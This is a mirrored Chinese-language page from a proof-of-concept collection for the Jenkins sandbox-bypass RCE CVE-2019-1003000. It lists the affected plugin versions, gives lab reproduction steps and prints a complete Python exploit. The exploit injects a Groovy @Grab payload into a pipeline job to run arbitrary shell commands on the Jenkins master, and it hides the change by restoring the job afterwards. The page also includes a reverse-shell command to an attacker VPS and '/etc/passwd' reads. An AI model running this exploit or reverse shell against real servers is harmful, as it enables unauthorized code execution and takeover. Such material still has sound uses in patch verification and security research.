mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
111 lines
3.7 KiB
Markdown
111 lines
3.7 KiB
Markdown
|
|
# Jenkins 远程代码执行漏洞 CVE-2019-1003000
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成.
|
|||
|
|
|
|||
|
|
该漏洞存在于`Declarative Plugin 1.3.4.1`之前的版本, `Groovy Plugin 2.61.1`之前的版本以及`Script Security Plugin 1.50`之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有`Overall/Read`权限的用户或能够控制SCM中的`Jenkinsfile`或者`sandboxed Pipeline`共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Declarative Plugin < 1.3.4.1
|
|||
|
|
Groovy Plugin < 2.61.1
|
|||
|
|
Script Security Plugin < 1.50
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
账号密码 user1/user1 登录:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
# activate py27
|
|||
|
|
python exploit.py --url http://eci-2ze1x17tl0kujrg3c5ey.cloudeci1.ichunqiu.com:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
|
|||
|
|
|
|||
|
|
# --cmd "bash -i >& /dev/tcp/<YOUR-VPS-IP>/<YOUR-VPS-PORT> 0>&1"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/python
|
|||
|
|
|
|||
|
|
# Author: Adam Jordan
|
|||
|
|
# Date: 2019-02-15
|
|||
|
|
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
|
|||
|
|
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
|
|||
|
|
|
|||
|
|
|
|||
|
|
import argparse
|
|||
|
|
import jenkins
|
|||
|
|
import time
|
|||
|
|
from xml.etree import ElementTree
|
|||
|
|
|
|||
|
|
payload = '''
|
|||
|
|
import org.buildobjects.process.ProcBuilder
|
|||
|
|
@Grab('org.buildobjects:jproc:2.2.3')
|
|||
|
|
class Dummy{ }
|
|||
|
|
|
|||
|
|
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
|
|||
|
|
'''
|
|||
|
|
|
|||
|
|
|
|||
|
|
def run_command(url, cmd, job_name, username, password):
|
|||
|
|
print '[+] connecting to jenkins...'
|
|||
|
|
server = jenkins.Jenkins(url, username, password)
|
|||
|
|
|
|||
|
|
print '[+] crafting payload...'
|
|||
|
|
ori_job_config = server.get_job_config(job_name)
|
|||
|
|
et = ElementTree.fromstring(ori_job_config)
|
|||
|
|
et.find('definition/script').text = payload % cmd
|
|||
|
|
job_config = ElementTree.tostring(et, encoding='utf8', method='xml')
|
|||
|
|
|
|||
|
|
print '[+] modifying job with payload...'
|
|||
|
|
server.reconfig_job(job_name, job_config)
|
|||
|
|
time.sleep(3)
|
|||
|
|
|
|||
|
|
print '[+] putting job build to queue...'
|
|||
|
|
queue_number = server.build_job(job_name)
|
|||
|
|
time.sleep(3)
|
|||
|
|
|
|||
|
|
print '[+] waiting for job to build...'
|
|||
|
|
queue_item_info = {}
|
|||
|
|
while 'executable' not in queue_item_info:
|
|||
|
|
queue_item_info = server.get_queue_item(queue_number)
|
|||
|
|
time.sleep(1)
|
|||
|
|
|
|||
|
|
print '[+] restoring job...'
|
|||
|
|
server.reconfig_job(job_name, ori_job_config)
|
|||
|
|
time.sleep(3)
|
|||
|
|
|
|||
|
|
print '[+] fetching output...'
|
|||
|
|
last_build_number = server.get_job_info(job_name)['lastBuild']['number']
|
|||
|
|
console_output = server.get_build_console_output(job_name, last_build_number)
|
|||
|
|
|
|||
|
|
print '[+] OUTPUT:'
|
|||
|
|
print console_output
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
parser = argparse.ArgumentParser(description='Jenkins RCE')
|
|||
|
|
|
|||
|
|
parser.add_argument('--url', help='target jenkins url')
|
|||
|
|
parser.add_argument('--cmd', help='system command to be run')
|
|||
|
|
parser.add_argument('--job', help='job name')
|
|||
|
|
parser.add_argument('--username', help='username')
|
|||
|
|
parser.add_argument('--password', help='password')
|
|||
|
|
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
run_command(args.url, args.cmd, args.job, args.username, args.password)
|
|||
|
|
|
|||
|
|
```
|